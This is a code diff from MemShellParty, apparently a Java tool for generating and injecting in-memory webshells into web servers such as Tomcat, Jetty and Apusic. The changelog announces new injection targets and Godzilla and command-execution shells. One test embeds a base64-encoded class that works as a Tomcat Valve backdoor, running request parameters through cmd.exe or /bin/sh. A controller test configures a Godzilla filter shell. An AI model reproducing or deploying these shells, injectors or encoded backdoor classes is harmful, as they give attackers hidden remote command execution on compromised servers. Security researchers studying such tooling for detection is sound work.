diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml index 101ac7d6..6acf167a 100644 --- a/.github/workflows/dev-deploy.yaml +++ b/.github/workflows/dev-deploy.yaml @@ -35,7 +35,7 @@ jobs: run: bun install --frozen-lockfile && bun run build - name: Build Boot with Gradle - run: ./gradlew :boot:bootjar -x test + run: ./gradlew :boot:test :boot:bootjar - name: Upload Boot Jar uses: actions/upload-artifact@v4 diff --git a/CHANGELOG.md b/CHANGELOG.md index aae2ab2a..100bcae5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,32 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) + +### Added + +1. 内存马注入器接上回显 toString 打印 contextPath 等注入成功或错误信息 +2. boot 新增通过字节码 base64 获取类名接口,并支持自定义内存马使用随机类名或原始类名 +3. 适配 Apusic 9.0.1 版本(金蝶 EAS Cloud) +4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件 +5. 支持注入器或回显马添加静态代码块执行构造方法调用,解决部分场景下无法手动调用构造方法 +6. 支持 SpringWebMVC 回显马生成 +7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例 +8. 支持 ScriptEngineJar 打包方式(SnakeYaml 漏洞注入) +9. 支持脚本引擎执行回显马生成,方便调试 + +### Fixed + +1. 修复自定义内存马生成报错 +2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉 +3. 默认哥斯拉内存马去除对 session 的依赖,解决部分场景下 session 为 null 导致无法连接 + +### Changed + +1. 依赖更新 +2. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数 +3. 调整靶场构建使用的 openjdk 改为 eclipse-temurin + ## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12 ### Added diff --git a/boot/build.gradle.kts b/boot/build.gradle.kts index 2d4bd402..72d82ea8 100644 --- a/boot/build.gradle.kts +++ b/boot/build.gradle.kts @@ -1,6 +1,6 @@ plugins { id("java") - id("org.springframework.boot") version "3.5.3" + id("org.springframework.boot") version "3.5.7" id("io.spring.dependency-management") version "1.1.7" } @@ -23,7 +23,6 @@ configurations { dependencies { implementation(project(":generator")) { - exclude(group = "org.apache.tomcat", module = "tomcat-catalina") exclude(group = "commons-logging", module = "commons-logging") } implementation(project(":packer")) { diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java new file mode 100644 index 00000000..46a5f187 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.boot.controller; + +import org.springframework.asm.ClassReader; +import org.springframework.cglib.core.ClassNameReader; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2025/11/10 + */ +@RestController +@CrossOrigin("*") +public class ClassNameParseController { + + @PostMapping("/className") + public String className(@RequestBody String classBase64) { + return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64))); + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java index cff87e15..25c23df1 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java @@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.jar.JarPacker; import org.springframework.web.bind.annotation.*; import java.util.Base64; @@ -29,12 +29,12 @@ public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest re InjectorConfig injectorConfig = request.getInjectorConfig(); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); Packer packer = request.getPacker().getInstance(); + if (packer instanceof AggregatePacker) { + return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); + } if (packer instanceof JarPacker) { return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); - } else if (packer instanceof AggregatePacker) { - return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); - } else { - return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); } + return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index 70a3eee0..e93f61f2 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -2,9 +2,7 @@ import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.utils.CommonUtil; import lombok.Data; -import org.apache.commons.lang3.StringUtils; import static com.reajason.javaweb.memshell.ShellTool.*; @@ -20,7 +18,7 @@ public class MemShellGenerateRequest { private Packers packer; @Data - static class ShellToolConfigDTO { + public static class ShellToolConfigDTO { private String shellClassName; private String godzillaPass; private String godzillaKey; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java index cb4920a0..78cca343 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java @@ -21,7 +21,6 @@ static class ProbeContentConfigDTO { private String server; private String sleepServer; private String reqParamName; - private String reqHeaderName; } public ProbeContentConfig parseProbeContentConfig() { @@ -35,7 +34,6 @@ public ProbeContentConfig parseProbeContentConfig() { .build(); case ResponseBody -> ResponseBodyConfig.builder() .reqParamName(probeContentConfig.reqParamName) - .reqHeaderName(probeContentConfig.reqHeaderName) .server(probeContentConfig.server) .build(); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java new file mode 100644 index 00000000..91e3941d --- /dev/null +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.boot.controller; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2025/11/10 + */ +class ClassNameParseControllerTest { + @Test + void test(){ + ClassNameParseController classNameParseController = new ClassNameParseController(); + String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA"); + assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className); + } +} \ No newline at end of file diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java index 506d3dcb..32f8f937 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java @@ -27,30 +27,21 @@ public class ConfigControllerIntegrationTest { @Test public void testConfigEndpoint() { ResponseEntity response = restTemplate.getForEntity("/config", Map.class); - assertEquals(HttpStatus.OK, response.getStatusCode()); - - Map body = response.getBody(); - assertNotNull(body); + assertNotNull(response.getBody()); } @Test public void testConfigServersEndpoint() { ResponseEntity response = restTemplate.getForEntity("/config/servers", Map.class); - assertEquals(HttpStatus.OK, response.getStatusCode()); - - Map body = response.getBody(); - assertNotNull(body); + assertNotNull(response.getBody()); } @Test public void testConfigPackersEndpoint() { ResponseEntity response = restTemplate.getForEntity("/config/packers", List.class); - assertEquals(HttpStatus.OK, response.getStatusCode()); - - List body = response.getBody(); - assertNotNull(body); + assertNotNull(response.getBody()); } } \ No newline at end of file diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java new file mode 100644 index 00000000..51fd388c --- /dev/null +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.boot.controller; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.boot.dto.MemShellGenerateRequest; +import com.reajason.javaweb.boot.dto.MemShellGenerateResponse; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.packer.Packers; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.web.client.TestRestTemplate; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +/** + * @author ReaJason + * @since 2025/9/16 + */ +@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) +class MemShellGeneratorControllerTest { + + @Autowired + TestRestTemplate restTemplate; + + @Test + void generateShell() { + MemShellGenerateRequest request = new MemShellGenerateRequest(); + request.setShellConfig(ShellConfig.builder() + .server(Server.Tomcat) + .shellType(ShellType.FILTER) + .shellTool(ShellTool.Godzilla) + .shrink(true) + .debug(true) + .serverVersion("Unknown") + .targetJreVersion(50) + .build()); + request.setInjectorConfig(InjectorConfig.builder() + .urlPattern("/*") + .build()); + request.setPacker(Packers.ScriptEngine); + MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO(); + shellToolConfigDTO.setGodzillaKey("key"); + shellToolConfigDTO.setGodzillaPass("pass"); + shellToolConfigDTO.setHeaderName("User-Agent"); + shellToolConfigDTO.setHeaderValue("hello"); + request.setShellToolConfig(shellToolConfigDTO); + ResponseEntity response = restTemplate.postForEntity( + "/memshell/generate", request, MemShellGenerateResponse.class); + assertEquals(HttpStatus.OK, response.getStatusCode()); + assertNotNull(response.getBody()); + } +} \ No newline at end of file diff --git a/build.gradle.kts b/build.gradle.kts index 2125e2fb..70e6477e 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.1.0" +version = "2.2.0-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 102e80e9..d6c2a0a7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -24,15 +24,6 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in if (server == null) { throw new GenerationException("Unsupported server: " + serverName); } - - if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { - shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType())); - } - - if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { - injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); - } - Class injectorClass = null; if (ShellTool.Custom.equals(shellConfig.getShellTool())) { @@ -47,6 +38,14 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in shellToolConfig.setShellClass(shellClass); } + if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { + shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType())); + } + + if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { + injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); + } + byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); injectorConfig.setInjectorClass(injectorClass); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java index a5151b3e..5a85c011 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java @@ -46,4 +46,9 @@ public class InjectorConfig { * 内存马类字节 */ private byte[] shellClassBytes; + + /** + * 添加静态代码块调用构造方法初始化 + */ + private boolean staticInitialize; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java index 767ee922..5fe325dd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java @@ -1,9 +1,11 @@ package com.reajason.javaweb.memshell.config; +import com.fasterxml.jackson.annotation.JsonIgnore; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; import lombok.experimental.SuperBuilder; +import net.bytebuddy.description.type.TypeDescription; /** * @author ReaJason @@ -19,6 +21,9 @@ public class ShellToolConfig { */ private Class shellClass; + @JsonIgnore + private transient TypeDescription shellTypeDescription; + /** * shellClass 的类名 */ diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index a6393ff3..296e2568 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; @@ -10,6 +11,7 @@ import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.server.AbstractServer; +import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.dynamic.DynamicType; /** @@ -29,15 +31,21 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) { @Override public byte[] getBytes() { - Class shellClass = shellToolConfig.getShellClass(); - String shellClassName = shellToolConfig.getShellClassName(); DynamicType.Builder builder = getBuilder(); + String shellClassName = shellToolConfig.getShellClassName(); + Class shellClass = shellToolConfig.getShellClass(); + if (shellClass != null) { + shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass)); + } + if (shellToolConfig.getShellTypeDescription() == null) { + throw new GenerationException("shellClass or shellTypeDescription could not be null."); + } String shellType = shellConfig.getShellType(); AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { - builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName); + builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName); } if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java index a8ebfe01..a263228e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java @@ -8,6 +8,7 @@ import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.jar.asm.ClassReader; import net.bytebuddy.pool.TypePool; +import org.apache.commons.lang3.StringUtils; import java.util.Base64; @@ -27,12 +28,19 @@ protected DynamicType.Builder getBuilder() { byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); ClassReader classReader = new ClassReader(classBytes); String className = classReader.getClassName().replace('/', '.'); - ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes); + if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { + shellToolConfig.setShellClassName(className); + } + ClassFileLocator compoundLocator = new ClassFileLocator.Compound( + ClassFileLocator.Simple.of(className, classBytes), + ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader()) + ); TypeDescription typeDescription = new TypePool.Default( - new TypePool.CacheProvider.Simple(), classFileLocator, + new TypePool.CacheProvider.Simple(), compoundLocator, TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader() ).describe(className).resolve(); + shellToolConfig.setShellTypeDescription(typeDescription); return new ByteBuddy() - .redefine(typeDescription, classFileLocator); + .redefine(typeDescription, compoundLocator); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java index 480b15a4..cd197dd8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java @@ -3,6 +3,7 @@ import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.InnerClassDiscovery; import com.reajason.javaweb.buddy.*; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.utils.CommonUtil; @@ -59,6 +60,10 @@ public DynamicType.Builder getBuilder() { if (shellConfig.isDebugOff()) { builder = LogRemoveMethodVisitor.extend(builder); } + + if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { + builder = StaticBlockSelfConstructorCall.extend(builder); + } return builder; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java index d2da29d8..88fb0de5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java @@ -1,13 +1,17 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.method.MethodDescription; +import net.bytebuddy.description.method.MethodList; import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; +import net.bytebuddy.matcher.ElementMatchers; import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.takesArguments; @@ -18,19 +22,26 @@ */ public class ListenerGenerator { - public static DynamicType.Builder build(DynamicType.Builder builder, Class implInterceptor, Class targetClass, String newClassName) { - builder = builder - .visit(MethodCallReplaceVisitorWrapper.newInstance( - "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName())) - .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); + public static DynamicType.Builder build(DynamicType.Builder builder, Class implInterceptor, + TypeDescription typeDefinition, String newClassName) { + MethodList methods = typeDefinition.getDeclaredMethods(); - boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass) - .getDeclaredMethods() - .filter(named("getFieldValue") - .and(takesArguments(Object.class, String.class))) - .isEmpty(); + if (methods.filter(ElementMatchers.named("getResponseFromRequest") + .and(ElementMatchers.takesArguments(Object.class)) + .and(ElementMatchers.returns(Object.class))) + .isEmpty()) { + throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" + + " make sure arg and return type is Object.class"); + } else { + builder = builder + .visit(MethodCallReplaceVisitorWrapper.newInstance( + "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName())) + .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); + } - if (methodNotFound) { + if (methods.filter(named("getFieldValue") + .and(takesArguments(Object.class, String.class))) + .isEmpty()) { builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) .withParameters(Object.class, String.class) .throwing(Exception.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java index fbd2355b..97ab8e7b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java @@ -32,13 +32,20 @@ public class ValveGenerator { public static DynamicType.Builder build(DynamicType.Builder builder, AbstractServer shell, String serverVersion) { String packageName = null; - if (serverVersion.equals("6")) { - packageName = TONGWEB6_VALVE_PACKAGE; - } else if (serverVersion.equals("7")) { - packageName = TONGWEB7_VALVE_PACKAGE; - } else if (serverVersion.equals("8")) { - packageName = TONGWEB8_VALVE_PACKAGE; - } else if (shell instanceof Bes) { + if (serverVersion != null) { + switch (serverVersion) { + case "6": + packageName = TONGWEB6_VALVE_PACKAGE; + break; + case "7": + packageName = TONGWEB7_VALVE_PACKAGE; + break; + case "8": + packageName = TONGWEB8_VALVE_PACKAGE; + break; + } + } + if (shell instanceof Bes) { packageName = BES_VALVE_PACKAGE; } if (StringUtils.isEmpty(packageName)) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java index ebb98cf0..1e54013d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java @@ -40,7 +40,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter"); } } } @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java 